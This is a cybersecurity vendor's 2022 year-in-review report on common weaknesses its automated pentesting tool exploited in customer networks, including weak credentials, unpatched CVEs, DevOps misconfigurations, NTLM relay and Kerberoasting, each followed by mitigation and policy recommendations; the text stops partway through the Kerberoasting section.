Welcome to the inaugural edition of Horizon3.ai’s Year in Review for 2022!

The Horizon3.ai Customer Threat Analytics Team would like to use this opportunity to share with you a fresh perspective on the cybersecurity landscape as we see it – through the eyes of an attacker. This allows our customers to ask themselves:

• What does my environment look like?
• Are my security tools effective?
• Did we detect the right actions?
• Are we logging the right things?
• Is my sensitive data, or are my crown jewels and keys to the kingdom, safe?

Horizon3.ai asserts that the only way to get honest, accurate, and relevant answers to these questions is by taking an attacker’s perspective and routinely attacking our respective environments as a nefarious cyber threat actor would. This helps us and our customers find what is exploitable, fix what matters, and consequentially verify those fix actions.

To that end, we would like to share with you that fresh perspective by illustrating how our customers, across multiple industries and sectors, use NodeZero to find, fix, and verify exploitable misconfigurations and vulnerabilities in their environment with real-world tactics, techniques, and procedures used by attackers. Further, we will share with you the implications of the weaknesses or vulnerabilities found and the policy recommendations that we have for our customers and those that are seeking to improve their security posture.

Finally, we would like to say thank you to all the amazing customers and partners that work with us daily to constantly improve our capability and product. We hope that you find this report both insightful and useful.

-The Horizon3.ai Customer Threat Analytics Team

With the advent of NodeZero, Horizon3.ai customers can (and have) run multiple penetration tests (pentests) in a year to find, fix, and verify what is reachable, vulnerable, and exploitable in their environment, an accomplishment previously reserved only for the most well-funded companies and organizations. Throughout the year, Horizon3.ai customers ran nearly 7,000 pentests with NodeZero. In fact, many of our customers have eschewed the previous model of infrequent or annual pentests altogether to constantly verify their security posture by running multiple pentests in a single month. Some of our most prolific users run over 40 pentests a month with NodeZero, which is well above the often-cited recommendation of one to two pentests a year.

Within the NodeZero portal, Horizon3.ai customers view a graphical representation of actual attack paths that an attacker could use to chain together misconfigurations, vulnerabilities, and weaknesses to compromise their organization. NodeZero further provides the customer with the insight necessary to mitigate risk by prioritizing exploitable weaknesses with their corresponding fix actions and then enables customers to verify each weakness has been remediated.

Prior to using NodeZero, our customers hired outside consultants to run pentests on an infrequent or annual basis. Not only was this a costly and unscalable proposition for our customers, it left many of them accepting a large amount of risk. Many of our customers also report that the consultants that they hired often left them with quickly outdated, noisy reports about their security posture, with inaccurate and unactionable information about how to prioritize fixing their organization’s vulnerabilities. To make matters worse, these hardworking cybersecurity professionals would receive blame for any deficiencies that the report generated.

Historically, companies used traditional pentesting for one of three reasons –

To do so, companies would spend large sums of money to contract out highly skilled and in-demand pentesters to conduct pentests. This also had the adverse effect of leaving smaller or lesser funded companies unable to schedule or afford those same pentesters, because there are simply not enough pentesters in the cybersecurity industry.

To solve this issue, new thinking emerged. Companies began organizing and crowdsourcing that small community of pentesters to execute bug bounties, poke at web applications, and identify and attack their public-facing assets. The next iteration then came in the form of automation, as savvy attackers were enabled by the creation of runbooks or scripts to synchronize an attack across multiple assets. While the value of these efforts can be high, the pain points across each of these methods have plagued the cybersecurity industry for years – from the high cost to contract or maintain, to limited scope, speed, and accuracy.

Of the nearly 7,000 pentests run in the last year, NodeZero has tested almost 1 million assets, with a staggering 7% of those assets contributing to or directly affected by a critical impact – an event that would cause program failure and an inability to achieve the customers’ minimum acceptable requirements – with over 200,000 different attack paths or ways an attacker can take to exploit a weakness in a system to impact. These are results from companies that deploy industry-leading security tools, employ experienced cybersecurity practitioners, and implement compliance policies.

From the last year, we learned that teams, tools, and policies all require tuning and enforcement. Further, the data from the last year also confirms what we have always known – to truly understand if our security posture is effective, we must continually attack our environment in the same way a malicious cyber threat actor would. Our customers have done exactly that. They continuously and thoroughly tested their respective environments with NodeZero, learned where they were weak, and addressed the results to improve their security posture. Based on their attacker’s perspective, we have seen three main themes arise over the past year:

• Credential policies are weak, or often not enforced;
• Patching is rare, but misconfiguration fixes are even rarer;
• Tools require oversight and tuning to be effective.

The good news is, we’ve seen each of these themes remediated when a practitioner and/or leader sees the results and impacts of a potential attack. When security vulnerabilities are exposed and prioritized based on pentest results, the impacts of weak credentials, misconfigured domains, and unpatched vulnerabilities are made relevant and visceral. Those practitioners and leaders have patched and rerun a pentest to verify they remediated that remote code execution (RCE) vulnerability. They’ve implemented new password policies and pushed Local Administrator Password Solutions so users, especially those with elevated privileges, aren’t reusing the same credentials. They’ve tuned their endpoint detection and response (EDR) tools to actually stop techniques like credential dumping.

In this report, we focus on these three themes and show you how the top weaknesses NodeZero found and exploited over the past year led to critical impacts, deeper implications, and ultimately positive action by the customer to remediate vulnerabilities and weaknesses.

The Top 10 vulnerabilities and weaknesses that NodeZero enumerated and exploited over the last year are:

• Weak or reused credentials
• Weak or default credential checks in protocols (SSH, FTP, Web, etc.)
• Credential dumping from Windows or Linux hosts
• Exploitation of Critical Cybersecurity & Infrastructure Security Agency (CISA) vulnerabilities
• Exploitation of Critical VMware vulnerabilities
• Misconfigurations and vulnerabilities in DevOps tools (Jenkins, GitLab, Kubernetes, Docker)
• Misconfigurations and vulnerabilities in Routers, iLOs, and iDRACs
• Windows Man-in-the-Middle attacks (NTLM Relay)
• Windows Active Directory Elevation of Privilege Escalation Vectors (Kerberoasting)
• Zero-day or N-day vulnerabilities (Log4Shell, etc.)

1. Weak or Reused Credentials
2. Weak or Default Credential Checks in Protocols (SSH, FTP, Web, etc.)
3. Credential Dumping from Windows and Linux Hosts
4. Credential Attack Leads to Ransomware Exposure
5. Implications of Credential-based Attacks
6. Policy Recommendations and Mitigation Actions

Attackers don’t “hack” in, they log in.

Regardless of what the headlines in our newsfeeds may say, cyber threat actors do not often use sophisticated hacking tools and techniques like zero-day exploits to gain access to a network; they simply log in with legitimate user credentials. According to CrowdStrike, 62% of all detections indexed by the fourth quarter of 2021 were malware-free – meaning attackers were “living off the land,” using legitimate credentials and built-in tools to evade detection instead of sophisticated malware.

We know that nefarious actors exploit credential requirements in many ways. They can:

• Take advantage of weak password strength requirements or weak account lockout thresholds,
• Capture and then crack hashes,
• Take advantage of accounts that reuse compromised credentials,
• Use the default credentials that remain unchanged in a variety of web applications and systems processes.

Some cyber threat actors may even go so far as to buy cleartext credentials made available on the dark web. Once they gain initial access, threat actors then appear as legitimate users and can move laterally within a network to gain further access and establish persistence, steal sensitive data, bring down systems, and/or hold the organization hostage through ransomware.

Weak or Reused Credentials

Horizon3.ai customers are keenly aware of the risks that credential-based attacks pose to their organizations because NodeZero allows them to safely assess their environment against them. In the last year, NodeZero successfully executed credential-based attacks over 6,000 times (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host), and to great effect. Take for instance when a North Carolina-based medical clinic ran an internal pentest with NodeZero (See Figure #1). The clinic found that its systems were exploitable after NodeZero conducted open-source intelligence on the company’s name, scraped potential employees from LinkedIn, then executed the password spraying technique to find a potential logon name with a common, weak, or publicly available password.

Figure #1: Horizon3.ai’s NodeZero used password spray in a pentest run by a small medical clinic and achieves domain user and domain compromise.

Just as an actual cyber threat actor would do, NodeZero chained other weaknesses with the successful password spray to achieve multiple critical impacts. In this case, over 1,600 credentials were captured and used to access services and infrastructure. As a result, our customer learned that NodeZero compromised one domain, almost 50 hosts, and two domain users, while discovering nearly 50 data stores to ransomware. NodeZero was able to execute this operation safely, showing proof of exploit, and then provided the customer with the next steps to help fix or mitigate the customer’s weaknesses.

Weak or Default Credential Checks in Protocols (SSH, FTP, Web, etc.)

NodeZero is also adept at exploiting weak or default credentials in protocols like secure shell (SSH), file transfer protocol (FTP), web applications, and simple network management protocol (SNMP), to name a few. So much so that NodeZero took advantage of protocols over 5,000 times in the last year (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host).

One of our customers, a New York-based IT solutions provider, ran a pentest in which NodeZero exploited weak and default credentials in SNMP, FTP and SSH with varying levels of criticality. As a result, over 20 credentials were compromised that had access to data stores that had “write” access, thereby exposing sensitive data and providing an opportunity for ransomware exposure. Further, an actual threat actor could openly maneuver throughout the environment and access information if a password were compromised and further exploited.

Credential Dumping from Windows and Linux Hosts

In addition to exploiting weak or default credentials, NodeZero over the past year also compromised hosts with local admin credentials, then dumped more credentials over 1,200 times (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host). With the credential dumping technique, adversaries may attempt to dump credentials to obtain account logins, clear text passwords, and/or hashes from an operating system or software. The credentials can then be used to perform lateral movement across a system and access restricted information. Just as malicious threat actors target various Windows and Linux hosts like Kerberos, the Local Security Authority (LSA) Secrets, and the Local Security Authority Subsystem Service (LSASS) that contain the login and password information, so does NodeZero.

In February, a Horizon3.ai customer and California-based software company ran a pentest with NodeZero that found and dumped credentials from a shadow password file, otherwise known as /etc/shadow.

This is a system file in Linux that stores encrypted user passwords. It is only accessible to a root user and therefore prevents unauthorized access to cyber threat actors from breaking into a system. Attackers who can crack password hashes from this file can log in with those credentials and appear like legitimate users. This way they can also exploit password reuse to move laterally across systems. The Horizon3.ai customer was able to learn that at least four of their credentials were discovered in this pentest and elevated their risk of sensitive information disclosure from medium to high.

Credential Attack Leads to Ransomware Exposure

To drive home the point home on how NodeZero exploits credentials, we’d like to cover a pentest by a Horizon3.ai customer and major company in the sports and entertainment industry that led to a ransomware exposure. In this case, NodeZero discovered a Host with an EternalBlue vulnerability that is over five years old (more on the importance of patching later on in our section on patching and misconfigurations) and led to a host compromise. NodeZero was then able to use a reverse shell hash dump and dump the SAM database to find a local admin user. Of course, NodeZero was then able to dump more credentials and pivot to another machine on the network to then reverse shell hash dump and dump even more credentials until finally reaching a ransomware exposure with read/write access on SMB drives, all enabled by a dumped credential with privileged access.

Figure #2: NodeZero exploits EternalBlue and multiple credential-based weaknesses to reach Ransomware Exposure against a Horizon3.ai customer in the sports and entertainment industry.

This pentest raises a lot of questions for us and the customer, and rightfully so. Why was NodeZero able to dump the SAM credential? Was there a misconfiguration that allowed this? And why was the EDR solution, if one is implemented, not able to stop it from occurring? Did the company’s security team receive an alert on the issue and log it? More specifically to our point about credentials, we would suggest that this customer implements better password policies and Local Area Password Solution (or LAPS) with multifactor authentication for their privileged users with local administrator rights so that they can’t reuse the same credentials on multiple machines. This would at least limit the blast radius of what a cyber threat actor could gain access to, further ensuring that a threat actor’s compromised credential access would be limited to one system.

Implications of Credential-based Attacks

Did we detect it? Did we log it? Did we alert on it? Did we stop it?

NodeZero achieved a critical impact in each of these examples, including domain compromise, host compromise, sensitive data exposure, critical infrastructure compromise, or ransomware exposure. While it is important for the customer to remediate chained weaknesses leading to these impacts in their environment, it is also important to rectify the underlying systemic issues that contribute to these issues. In our conversations with our customers, and within the NodeZero portal itself, we highlight that many companies and organizations either implement poor authentication and/or credential policies and poorly enforce those policies. This also leads us to ask whether the security tools that our customers have in place are set up correctly and are effective in detecting, logging, alerting, and stopping these threats from achieving a critical impact.

Policy Recommendations and Mitigation Actions

Fortunately, there are relatively simple changes that can be made within an organization to help prevent credential-based attacks. They are:

• Increase training for employees on basic cyber security, including the dangers of credential reuse and weak or easily guessed passwords. Additionally, for your privileged admins implement a Local Administrator Password Solution (LAPS) solution to help organizations prevent local admin credential reuse.
• Institute password policies that include sophistication and length requirements as described in the latest recommendations from NIST Special Publication 800-63B to include:
  • All passwords must be 12 characters or longer
  • No passwords matching the list of known breached passwords
  • No passwords derived from dictionary terms
  • No passwords derived from well-known contextual terms such as the company name, product, etc…
  • No passwords derived from well-known information about the user such as the username, first name, or last name
  • All passwords should be unique, and no passwords should be “too similar” to each other
• When creating a temporary password for a new user or a user that requires an account unlock, require the password to be used within a specific timeframe before the account becomes disabled.
• Require the use of multifactor authentication for logging into external environments and segmented networks when possible. This ensures a high degree of certainty that a cyber threat actor will not be able to gain access to public facing instances unless they also have control of the second device, such as a registered cellphone or other device to confirm a login attempt.
  • There are a variety of tools to set and enforce password policy. For instance, if you’re using Azure AD, you can enable Azure AD Password Protection to automatically ban well-known bad passwords. Of Note, password managers are good, but don’t store your MFA tokens in your password manager!
• Implement a configuration management process that directs default credentials are changed before systems are deployed in a production environment.
• Implement good access controls to include the principle of “least privilege”. Users should only have access to specific data, resources, and applications needed to complete required tasks within their role. This can help ensure that organizations are limiting their overall attack surface, while improving their security posture and reduce “over privileged” users that could misuse critical systems and increase liability.
• Disable the accounts of current or former employees who no longer require access. Oftentimes, cyber threat actors are disgruntled employees or former employees that would like to seek retribution against an organization and already have access. Disabling and not deleting the former user account allows the organization to retain any files or data that individuals may have generated while limiting the organization’s risk.
• And lastly, verify that each of the above guidelines are implemented, enforced, and effective by attacking your environmental teams, tools, and rules using NodeZero.

1. The Exploitation of Critical CISA Known Exploited Vulnerabilities (KEV)
2. Exploitation of Critical VMware Vulnerabilities
3. Misconfigurations And Vulnerabilities in DevOps Tools (Jenkins, GitLab, Kubernetes, and Docker)
4. Misconfigurations and Vulnerabilities in Routers, iLOs, iDRACs
5. Implications of Failures to Patch and Misconfigurations
6. Policy Recommendations and Mitigation Actions

Many exploitable vulnerabilities often have prescribed solutions already available.

Over the last year, we have seen many of our Horizon3.ai customers run pentests only to find that their systems suffer from exploitable vulnerabilities that are several years old and have relatively easy fixes in the form of vendor-provided patches. This includes vulnerabilities from CISA’s list of Top 15 Routinely Exploited Vulnerabilities list and their Known Exploited Vulnerabilities catalog. Taken together, these lists provide a good starting point for cybersecurity professionals to understand what vulnerabilities are being actively exploited and what actions to take to fix or mitigate the threat.

Further, we have found that many customers have added software and hardware to their environments over time that is left with default settings enabled and/or improperly configured. In doing so, these environments become prime targets for nefarious cyber threat actors that can string together weaknesses and vulnerabilities to achieve critical impacts.

The Exploitation of Critical CISA Known Exploited Vulnerabilities (KEV)

Since its founding in 2018, CISA – and its predecessor organization, the National Protection and Programs Directorate before that – has informed the public of a variety of cybersecurity threats and vulnerabilities, as well as mitigation and fix actions. Our engineers and researchers, in addition to conducting their own vulnerability research and finding exploits on their own, use the information provided by CISA to prioritize NodeZero’s attack content. We also use this information in conjunction with our own open-source research to determine what vulnerabilities are actively being exploited by threat actors and what vulnerabilities may impact our customers.

Over the last year, we have notified our customers of multiple vulnerabilities that can impact their environments and are exploited by NodeZero in pentests. Probably too many to list here. However, we will highlight three of the most predominant vulnerabilities that we see our customers experience when running pentests.

For example, our NodeZero exploited the Remote Desktop Services RCE Vulnerability (CVE-2019-0708), otherwise known as “BlueKeep,” over 550 times this past year (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host). This vulnerability specifically affects older operating systems like Windows 7, Windows Server 2003, Windows Server 2008, Windows Server 2008 R2, Windows Vista, and Windows XP. The vulnerability is also significant because it targets the Windows Remote Desktop Protocol that provides a graphical user interface to connect to various computers using a network connection. Further, the vulnerability is potentially “wormable.” This means that it could be exploited and spread from one computer to another.

The Windows SMB Remote Code Execution Vulnerability (EternalBlue, CVE-2017-0144) was exploited over 500 times by NodeZero in customer environments this past year (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host). Here, a vulnerability exists when the Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests. An attacker can exploit the vulnerability by sending a specially crafted packet to the SMBv1 server. This would then give the attacker the ability to execute code on that targeted SMBv1 server. As we saw in the previous example with a major company sports and entertainment industry in Figure 2, this vulnerability was used on two different machines to ultimately achieve Ransomware Exposure.

Our customers over the last year also experienced the OpenSSL Heartbleed Vulnerability (CVE-2014-0160) nearly 200 times in their NodeZero pentests (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host). This vulnerability allows for the stealing of protected information by the SSL/TLS encryption used to secure the internet. SSL/TLS provides communication security and privacy over the internet for applications such as web, email, internet messaging and virtual private networks. The vulnerability allows anyone on the internet to read the memory of the systems used by unpatched versions of OpenSSL software. This not only compromises the secret keys used to identify service providers and to encrypt traffic, the user credentials, and the actual content, but it allows attackers to eavesdrop on communications, steal data and impersonate services or users. The affected versions of OpenSSL are 1.0.1 through 1.0.11.

As one can see in Figure #4, a Horizon3.ai customer and food and beverage manufacturer experienced the vulnerability in a pentest by NodeZero and had memory leaked using the Metasploit framework. To counteract the potential for threat to exploit this vulnerability, Horizon3.ai recommends patching to OpenSSL version 1.0.1g and later.

Figure #4: A Horizon3.ai customer experiences the Heartbleed vulnerability after running a pentest. This vulnerability could lead to sensitive data being exposed to a threat actor.

Exploitation of Critical VMware Vulnerabilities

In addition to the number of critical vulnerabilities like BlueKeep, EternalBlue and Open SSL Heartbleed that CISA alerts us to, we continue to see critical and exploitable vulnerabilities in various VMware products.

Horizon3.ai customers found their VMware products reachable, vulnerable, and exploitable over 350 times (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host). By using VMware platforms, organizations can run multiple hosts, applications, and operating systems on one single server – thereby enhancing resource management and efficiency. Virtual machines behave exactly as separate computers but run simultaneously on the physical machine on which they are installed. Further, a user can run a variety of operating systems on their existing machine. A user can run Linux on a Windows machine, or MacOS on a Linux machine for example.

• VMware vulnerabilities are vast and dangerous when exploited. Horizon3.ai has developed exploits for CVE-2022-22972, an authentication bypass affecting local domain users. According to VMware, an adversary “with network access is able to obtain administrative access to the UI without authenticating their identity,” impacting VMware Workspace ONE Access, Identity Manager and vRealize Automation, and VMware identity manager, among other products. The suggested mitigation is to apply the KB88438 patch, as well as looking into strengthening your organization’s authentication policy. This could include encrypting user session IDs and cookies, enforce a high password length, and validating user input on the server-side, if not done already.
• Another highly critical vulnerability is local privilege escalation (CVE-2022-22973), in which an adversary with local access can escalate their privileges to “root” . The consequences of a successful privilege escalation attack may end up with the attacker modifying, stealing, or deleting essential data. The recommended patch prescribed by VMware for this vulnerability is KB88438, but other steps may be taken to prevent privilege escalation attacks. This includes regularly performing scans of all IT infrastructure (network, applications, operating system, etc.), minimizing the number of privileged accounts, and monitoring and reporting suspicious user behavior.
• As with numerous applications, RCE vulnerabilities are equally persistent in VMware (CVE-2022-22954). RCE affects VMware workspace ONE and Identity Manager with a server-side injection, in which an attacker with network access can execute arbitrary shell commands as a VMware user. A server-side template injection (user-input embedded into a server-side template) is a possible avenue for conducting RCE attacks. To prevent RCE attacks, it is important to immediately patch Workspace ONE and Identity Manager installations and ensure you are employing input sanitization tactics to avoid code injections.

Misconfigurations And Vulnerabilities in DevOps Tools (Jenkins, GitLab, Kubernetes, and Docker)

Horizon3.ai customers often use DevOps tools like Jenkins, GitLab, Kubernetes, and Docker that are critical to their business for the deployment, configuration and automation of software development and design. These tools also run the risk of compromise by cyber threat actors due to misconfigurations and known vulnerabilities. NodeZero is also adept at exploiting misconfigurations in those same DevOps tools in pentests.

Take, for instance, Jenkins, the open-source automation software that focuses on the deployment and delivery of applications, working to implement CI/CD workflow analysis. Jenkins is useful for testing and building software projects with continuous integration and allowing for changes to be made during any stage of the development process, while also sharing the changes in a community repository. However, NodeZero has discovered over 100 instances of exploitable Jenkins configurations targeted in internal pentests (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host).

One of the most frequent vulnerabilities discovered in the product includes XSS (cross-site scripting). Cross-site scripting is an attack that allows an adversary to modify web applications by injecting malicious code into web pages viewed by users. The location of code injections could include the contacts form or search bar of a website. When a “search” or “submit” request is sent by a user, a malicious query is forwarded to the web application’s server. Other types of XSS attacks also include storing a malicious payload on the server to compromise the website, going after vulnerable Javascript code, or taking advantage of blind cross-site scripting (a successful payload overseen by the administrator).

There are several ways to mitigate XSS vulnerabilities, including the use of post-hack methods and preventive procedures. Before an XSS attack occurs, it is always beneficial to limit user input to a strict Allowlist, restrict HTML inputs on web applications, employ HTTPOnly flags on cookies, and establish a WAF (Web Application Firewall) to filter through malicious traffic. After an XSS attack, it is important to immediately discover where the vulnerability exists, remove the bad data from the database, and apply the appropriate patch.

GitLab is another DevOps software package that provides a collaborative platform for housing open-source code in community repositories, but like Jenkins, NodeZero also discovered almost 50 instances of Gitlab in Customer pentests (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host). The most important instances include remote command execution vulnerabilities (CVE-2022-2185), XSS, unauthorized viewing of private variables (CVE-2022-2229) and exposing 2FA to unauthenticated users (CVE-2022-1963). GitLab has released the appropriate patches to fix these vulnerabilities, but more work is required to ensure advanced security for the teamwork-enhancing tool. According to GitLab’s critical security release report, it is highly recommended to update all versions to 15.1.1, 15.0.4, and 14.0.5 . To specifically avoid remote command execution attacks via project imports, it is always important to keep third-party software up to date and use buffer overflow protection in organizational software.

One of the more popular DevOps tools pentested by customers using NodeZero, Docker had a total of 50 instances discovered (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host). Docker is a cloud computing tool used to automate the application deployment and management of cloud containers. While apps are being moved to different platforms on the cloud, Docker allows them to still operate for continuous organizational functions. The top docker vulnerabilities for 2022 included bugs in desktop versions 4.3.0 and 4.3.1 and the “dirty pipe” Linux vulnerability (CVE-2022-0847) . The “dirty pipe” is a highly critical vulnerability that overwrites read-only files in the Linux kernel host, allowing adversaries to modify the files from the container instance. If an organization is using the Docker engine for this service, it is important to ensure that the Linux OS version is updated to 5.10.102 or later.

The final DevOps tool reviewed was Kubernetes, in which NodeZero discovered over 50 instances of product vulnerabilities in the Horizon3.ai pentests (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host). Kubernetes is an open-source container orientation system that automates the processes of launching, maintaining, and scaling applications. It focuses on expanding the scale of operations for an organization’s application ability and clustering multiple hosts (VMs) together on the cloud. Kubernetes is important for load balancing and running production software, but it houses the highly critical ingress-nginx vulnerability (CVE-2021-25742) . Ingress-nginx is a daemon (computer program running as a background process) that is important for configuring HTTP load balances for services running in the Kubernetes environment.

Due to a few misconfigurations, the ingress-nginx controller has allowed attackers to obtain important credentials and expose cluster secrets. To test whether this vulnerability exists in a Kubernetes cluster, it is important to first run a Kubescape scan. If the vulnerability is discovered, mitigations should include updating to Kubernetes versions v1.0.1 or v0.49.1 and upgrading ingress-nginx. In addition, it is helpful to prevent all nginx-ingress annotation snippets containing Lua code execution or alias statements.

Misconfigurations and Vulnerabilities in Routers, iLOs, iDRACs

As of this year, misconfigurations and vulnerabilities in routers offered one of the greatest boons for adversaries in their tirade against big organizations. A router is a device that connects subnets to one another, generally allowing for a network to connect to the greater Internet. According to a report conducted by Kaspersky, many critical vulnerabilities discovered across various routers in 2021 remain unpatched in the year 2022.

Many of the leaders in hardware development like Huawei, Cisco, Arris International, and Netgear have experienced heavy compromises on their devices. The main attacks include adversaries employing arbitrary remote code execution (RCE) to misconfigure routers, taking advantage of unpatched router software, poisoning routing tables, performing SYN floods (denial of service), exploiting outdated Linux kernel in the firmware, and of course, weak user passwords. It is recommended by security professionals that organizations pay closer attention to the security of their hardware infrastructure, starting particularly with routers. A router can easily become more secure by resetting the factory default password, regularly performing patches, and upgrading firmware to the most recent versions, and employing an IDS or IPS to monitor router activity.

Along with the increase in router vulnerabilities and misconfigurations, there has also been a sharp rise in threats to iLOs (Integrated Lights Out) and iDRACS (Integrated Dell Remote Access). Integrated Lights Out is a remote server management processor card that is embedded on the system boards of servers, particularly HP Proliant and Blade. The iLO system helps update, configure, and run HP servers while monitoring them remotely. Each iLO card has its own IP address and network connection which server admins access via DNS (the Domain Name System) and the DHCP protocol (Dynamic Host Configuration Protocol).

Using iLO allows admins to power the server on and off, restart the server, measure power usage, apply patches, and access event logs of the system. As of 2021, attackers were able to gain control over HP iLO 4 servers and view user passwords in cleartext by exploiting a vulnerability in the device’s firmware (CVE-2017-12542).

An Integrated Dell Remote Access (iDRAC) is an out-of-band management card embedded into the system board platform of a Dell server. Like an iLO, an iDRAC is used for remote server management, such as controlling, configuring, and running Dell servers. A server administrator employs iDRAC to deploy servers, alert system issues, perform server patches and updates, and monitor the server on a continual basis. However, just like iLOs, iDRACS have suffered from severe vulnerabilities in the past year, most famously being improper input validation. Improper input validation involves an attacker sending a malicious web request to the server for the main goal of corrupting its responsiveness. In addition to this vulnerability, iDRAC versions 4.40 and earlier are especially submissive to SQL injection and buffer overflow attacks. The most recommended mitigation to counter these prevalent threats is updating to a more secure iDRAC server version (at least 5.00 or higher).

Implications of Failures to Patch and Misconfigurations

When NodeZero exploits these vulnerabilities and misconfigurations as a threat actor would, especially when they are strung together to reach critical impacts, it tells us a few things about the organization and its environment.

• It could imply that companies and organizations are having trouble implementing patching policies that keep their systems up-to-date and that previous vulnerabilities remain mitigated. Some of the vulnerabilities we briefly discussed are over five years old, have been found on multiple machines, and have published vendor fixes and/or mitigation actions. All they need to do is “simply” apply the patches or the mitigation actions and confirm that they are fixed.
• It may also imply that the customer is having difficulty prioritizing what needs to be fixed. The organization’s IT department might be spending time patching and fixing vulnerabilities that may not actually be exploitable within their environment or have a lower criticality than those that will lead to critical impacts like host compromise, domain compromise, or ransomware exposure. Meaning, they aren’t prioritizing and fixing what actually matters.
• It could also mean that an organization may have legacy systems that are not able to be patched to the latest version, because of certain incompatibility issues with other technologies on the network. In those cases, the systems that cannot be upgraded or patched need to be segmented from the rest of the environment. This will limit any impact that a threat actor would have if it were able to exploit the vulnerability on that specific machine.
• It tells us that IT departments may have issues configuring new hardware like routers when adding them to the network. Too often we find that customers find that new hardware was added to their network with default settings and passwords that are made available on the open web, making it easily exploitable for any nefarious actor who would come across it.

Policy Recommendations and Mitigation Actions

When it comes to preventing cyber threat actors from taking advantage of known vulnerabilities and weaknesses, Horizon3.ai recommends instituting patching and mitigation policies to keep your systems as up to date as possible. We understand that not every technology can be patched, because of the potential to interfere with other technologies in the environment. In those instances, we suggest that you use vendor-approved fix action and mitigation strategies to prevent the vulnerability from being exploitable in your environment. If those fix action or mitigation strategies are still not available to you, we recommend segmenting that machine from the rest of your environment to prevent a malicious actor from reaching other portions of your environment and achieving critical impacts.

Of course, we do not suggest patching or implementing fix actions and merely moving on. Instead, we need to verify that those patches and fix actions were implemented correctly and effectively. We suggest running a regular cadence of autonomous pentests with NodeZero within your environment. In doing so, NodeZero can find those exploitable vulnerabilities and weaknesses that may still be in your environment, fix those vulnerabilities and weaknesses, and verify that the fix and mitigation actions were successful. Further, by continuously running this find, fix, verify loop, security professionals are also able to keep abreast of any changes to ensure that those same (or new) exploitable vulnerabilities and weaknesses) don’t creep into the environment.

1. Windows Man-in-the-Middle Attacks (NTLM Relay)
2. Windows Active Directory Elevation of Privilege Escalation Vectors (Kerberoasting)
3. Zero-Day and N-Day Vulnerabilities
4. Implications and Policy Recommendations

“But my EDR should’ve stopped that….”

This is a common refrain that we hear from Horizon3.ai customers. We hear companies complain that they are spending large sums of money on EDR solutions only to see them fail at the first sign of trouble. Sometimes these companies are not able to detect an unauthorized host like NodeZero in their environment and prevent it from dumping a SAM database full of credentials. This leads us to question if the company can detect nefarious actors, log what happened effectively, alert the cybersecurity professionals to them, and stop the threat actor from acting.

We often find that it is not necessarily the tool itself that failed, but rather it is a failure of configuring the tool properly.

Of course, we only know that these tools are misconfigured, because our customers take the perspective of the attacker when running pentests with NodeZero. By running NodeZero, our customers can see what tactics and techniques (like NTLM relay or Kerberoasting), along with critical data like timestamps, is used to find exploits and achieve critical impacts. From there, we can assess whether the customer’s security team did in fact detect, alert, stop and log the right actions.

Windows Man-in-the-Middle Attacks (NTLM Relay)

A Man-In-The-Middle (MITM) attack is one of the most common cyber threat vectors that is plaguing web applications and servers. In pentests over the last year, NodeZero was able to use MITM attacks nearly 1500 times (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host) and captured almost 1400 credentials. In its basic form, a man-in-the-middle attack involves an adversary who positions themselves in the middle of communication between two targeted parties (whether that be two people, two systems, or a person and a system). The adversary may behave passively, choosing to only eavesdrop on the conversation without modifying any of the messages being exchanged.

Likewise, the adversary can be active, modifying messages, transmitting messages themselves, or even deleting messages from the conversation. Not only are MITM attacks a violation to one’s privacy, but they also make it more difficult to prove true authentication.

Windows New Technology LAN Manager (NTLM) is a Microsoft authentication protocol that employs a series of three messages to verify the identity of a client. An NTLM establishes this three-way handshake and starts a path with the server and client. The server will respond to the client’s message with a request for the hash of their password. If the client’s response matches that of the domain controller’s encryption on file, their identity is verified. A NTLM relay attack involves the same principle of conducting a MITM attack; the adversary positions themselves between two target parties, but these targets happen to be a client and a server.

The adversary then attempts to intercept the authentication traffic being exchanged between the client and server, as well as modifying any requests sent from the client to steal their credentials. As of 2019, two highly critical vulnerabilities were discovered in NTLM versions, mainly allowing for attackers to perform RCE on Windows servers and to bypass the Message Integrity Code (MIC). MIC is a protocol established by Microsoft to ensure the integrity of messages sent over the network, but attackers can abuse the protection to access user credentials in the Active Directory Federation Services environment (CVE-2019-1166) .

There are several mitigations that can be applied to defend against NTLM relay attacks, as well as MITM attacks. Organizations must not make the mistake of trying to kill two birds with one stone, for both attack vectors deserve separate attention in mitigating their severity. To defend against MITM attacks, it is recommended that organizations manage an Intrusion Detection System (IDS), require the use of Virtual Private Networks (VPNs) on all workstations, limit user access privileges, and, obviously, employ strong data encryption in all applications (not just public-facing apps). To specifically protect against NTLM relay attacks, organizations should regularly be installing Microsoft patches and updates, turning on SMB signings, configure ADFS and web servers to accept only certain authentication requests, and use the Kerberos authentication system if they are not already (a more secure successor to NTLM).

Windows Active Directory Elevation of Privilege Escalation Vectors (Kerberoasting)

Over the last year, we have continued to see threat actors target the Windows Active Directory (AD) because organizations rely heavily on AD services to make policy configurations, user management, and permissions easy to manage. One of the most common attacks against domain controllers that house AD is Kerberoasting – a type of privilege escalation attack that exploits the Kerberos protocol, harvesting password hashes for user accounts with ServicePrincipleName (SPN) values.

While this system is employed in nearly every AD environment, an increase in Kerberoasting puts user privileges at major risk. As evidence to this fact, Nodezero discovered nearly 400 instances of Kerberos vulnerabilities in a Horizon3.ai internal pentest (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host). As a privilege escalation vector, kerberoasting has increased in recent years due to the architectural vulnerabilities in Kerberos itself and the failure to detect red flags in user behavior. Such red flags often include many service tickets requesting excessive permissions by a seemingly legitimate user account. While some may find this behavior alarming and cause for further investigation, servers and administrators often fail to detect the behavior altogether.

Just as it is for cyber threat actors, Kerberoasting is a common technique in the NodeZero arsenal of attacks. NodeZero has used kerberoasting against our customers’ environments over 300 times in the last year (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host).

